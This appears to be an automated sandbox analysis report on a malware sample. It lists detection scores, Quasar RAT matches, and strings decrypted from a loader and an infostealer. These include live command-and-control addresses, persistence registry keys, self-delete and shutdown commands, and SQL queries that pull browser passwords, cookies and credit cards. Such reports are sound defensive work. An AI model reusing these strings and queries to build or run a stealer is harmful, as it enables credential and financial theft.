Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\leg222[1].exe	Virustotal: Detection: 82%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Virustotal: Detection: 82%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Virustotal: Detection: 71%	Perma Link
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Virustotal: Detection: 82%	Perma Link
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Virustotal: Detection: 44%	Perma Link

Multi AV Scanner detection for submitted file

Source: mlk3kK6uLZ.exe	ReversingLabs: Detection: 63%
Source: mlk3kK6uLZ.exe	Virustotal: Detection: 71%			Perma Link

Yara detected Quasar RAT

Source: Yara match	File source: 42.2.svchost.exe.1b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.FRaqbC8wSA1XvpFVjCRGryWt.exe.f60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002A.00000002.4452302176.00000000001B2000.00000040.00000001.01000000.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000003.4159859843.0000000005800000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.4134787389.0000000000F62000.00000040.00000001.01000000.0000001F.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000003.4083127627.0000000005770000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: FRaqbC8wSA1XvpFVjCRGryWt.exe PID: 2020, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 1772, type: MEMORYSTR

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\leg222[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: mlk3kK6uLZ.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: 185.172.128.116
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: /Mb3GvQs8/index.php
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: S-%lu-
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: b66a8ae076
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: Hkbsse.exe
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: Startup
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: cmd /C RMDIR /s/q
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: rundll32
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: Programs
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: %USERPROFILE%
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: cred.dll\|clip.dll\|
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: http://
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: https://
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: /Plugins/
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: &unit=
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: shell32.dll
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: kernel32.dll
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: GetNativeSystemInfo
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: ProgramData\
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: AVAST Software
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: Kaspersky Lab
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: Panda Security
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: Doctor Web
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: 360TotalSecurity
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: Bitdefender
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: Norton
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: Sophos
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: Comodo
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: WinDefender
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: 0123456789
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: ------
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: ?scr=1
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: Content-Type: application/x-www-form-urlencoded
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: ComputerName
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: abcdefghijklmnopqrstuvwxyz0123456789-_
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: -unicode-
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: SYSTEM\ControlSet001\Services\BasicDisplay\Video
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: VideoID
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: DefaultSettings.XResolution
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: DefaultSettings.YResolution
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: ProductName
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: CurrentBuild
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: rundll32.exe
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: "taskkill /f /im "
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: " && timeout 1 && del
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: && Exit"
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: " && ren
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: Powershell.exe
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: -executionpolicy remotesigned -File "
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: shutdown -s -t 0
Source: 22.0.Freshbuild.exe.870000.0.unpack	String decryptor: random
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: INSERT_KEY_HERE
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GetProcAddress
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: LoadLibraryA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: lstrcatA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: OpenEventA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: CreateEventA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: CloseHandle
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: Sleep
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GetUserDefaultLangID
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: VirtualAllocExNuma
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: VirtualFree
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GetSystemInfo
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: VirtualAlloc
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: HeapAlloc
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GetComputerNameA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: lstrcpyA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GetProcessHeap
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GetCurrentProcess
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: lstrlenA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: ExitProcess
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GlobalMemoryStatusEx
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GetSystemTime
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: SystemTimeToFileTime
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: advapi32.dll
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: gdi32.dll
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: user32.dll
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: crypt32.dll
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: ntdll.dll
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GetUserNameA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: CreateDCA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GetDeviceCaps
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: ReleaseDC
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: CryptStringToBinaryA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: sscanf
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: VMwareVMware
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: HAL9TH
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: JohnDoe
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: DISPLAY
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: %hu/%hu/%hu
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: http://85.28.47.70
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: /570d5d5e8678366c.php
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: /663cea891445d733/
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: hello
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GetEnvironmentVariableA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GetFileAttributesA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GlobalLock
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: HeapFree
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GetFileSize
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GlobalSize
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: IsWow64Process
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: Process32Next
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GetLocalTime
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: FreeLibrary
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GetTimeZoneInformation
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GetSystemPowerStatus
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GetVolumeInformationA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GetWindowsDirectoryA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: Process32First
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GetLocaleInfoA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GetUserDefaultLocaleName
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GetModuleFileNameA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: DeleteFileA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: FindNextFileA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: LocalFree
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: FindClose
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: SetEnvironmentVariableA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: LocalAlloc
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GetFileSizeEx
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: ReadFile
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: SetFilePointer
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: WriteFile
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: CreateFileA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: FindFirstFileA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: CopyFileA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: VirtualProtect
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GetLastError
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: lstrcpynA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: MultiByteToWideChar
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GlobalFree
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: WideCharToMultiByte
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GlobalAlloc
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: OpenProcess
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: TerminateProcess
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GetCurrentProcessId
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: gdiplus.dll
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: ole32.dll
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: bcrypt.dll
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: wininet.dll
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: shlwapi.dll
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: shell32.dll
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: psapi.dll
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: rstrtmgr.dll
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: CreateCompatibleBitmap
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: SelectObject
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: BitBlt
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: DeleteObject
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: CreateCompatibleDC
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GdipGetImageEncodersSize
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GdipGetImageEncoders
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GdiplusStartup
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GdiplusShutdown
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GdipSaveImageToStream
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GdipDisposeImage
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GdipFree
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GetHGlobalFromStream
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: CreateStreamOnHGlobal
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: CoUninitialize
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: CoInitialize
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: CoCreateInstance
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: BCryptDecrypt
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: BCryptSetProperty
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: BCryptDestroyKey
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GetWindowRect
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GetDesktopWindow
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GetDC
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: CloseWindow
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: wsprintfA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: EnumDisplayDevicesA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GetKeyboardLayoutList
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: CharToOemW
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: wsprintfW
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: RegQueryValueExA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: RegEnumKeyExA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: RegOpenKeyExA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: RegCloseKey
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: RegEnumValueA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: CryptBinaryToStringA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: CryptUnprotectData
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: SHGetFolderPathA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: ShellExecuteExA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: InternetOpenUrlA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: InternetConnectA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: InternetCloseHandle
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: InternetOpenA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: HttpSendRequestA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: HttpOpenRequestA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: InternetReadFile
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: InternetCrackUrlA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: StrCmpCA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: StrStrA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: StrCmpCW
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: PathMatchSpecA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: GetModuleFileNameExA
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: RmStartSession
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: RmRegisterResources
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: RmGetList
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: RmEndSession
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: sqlite3_open
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: sqlite3_prepare_v2
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: sqlite3_step
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: sqlite3_column_text
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: sqlite3_finalize
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: sqlite3_close
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: sqlite3_column_bytes
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: sqlite3_column_blob
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: encrypted_key
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: PATH
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: NSS_Init
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: NSS_Shutdown
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: PK11_FreeSlot
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: PK11_Authenticate
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: PK11SDR_Decrypt
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: C:\ProgramData\
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: browser:
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: profile:
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: url:
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: login:
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: password:
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: Opera
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: OperaGX
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: Network
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: cookies
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: .txt
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: TRUE
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: FALSE
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: autofill
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: SELECT name, value FROM autofill
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: history
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: name:
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: month:
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: year:
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: card:
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: Cookies
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: Login Data
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: Web Data
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: History
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: logins.json
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: formSubmitURL
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: usernameField
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: encryptedUsername
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: encryptedPassword
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: guid
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: cookies.sqlite
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: formhistory.sqlite
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: places.sqlite
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: plugins
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: Local Extension Settings
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: Sync Extension Settings
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: IndexedDB
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: Opera Stable
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: Opera GX Stable
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: CURRENT
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: chrome-extension_
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: _0.indexeddb.leveldb
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: Local State
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: profiles.ini
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: chrome
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: opera
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: firefox
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: wallets
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: %08lX%04lX%lu
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: ProductName
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: ProcessorNameString
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: DisplayName
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: DisplayVersion
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: Network Info:
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: - IP: IP?
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: - Country: ISO?
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: System Summary:
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: - HWID:
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: - OS:
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: - Architecture:
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: - UserName:
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: - Computer Name:
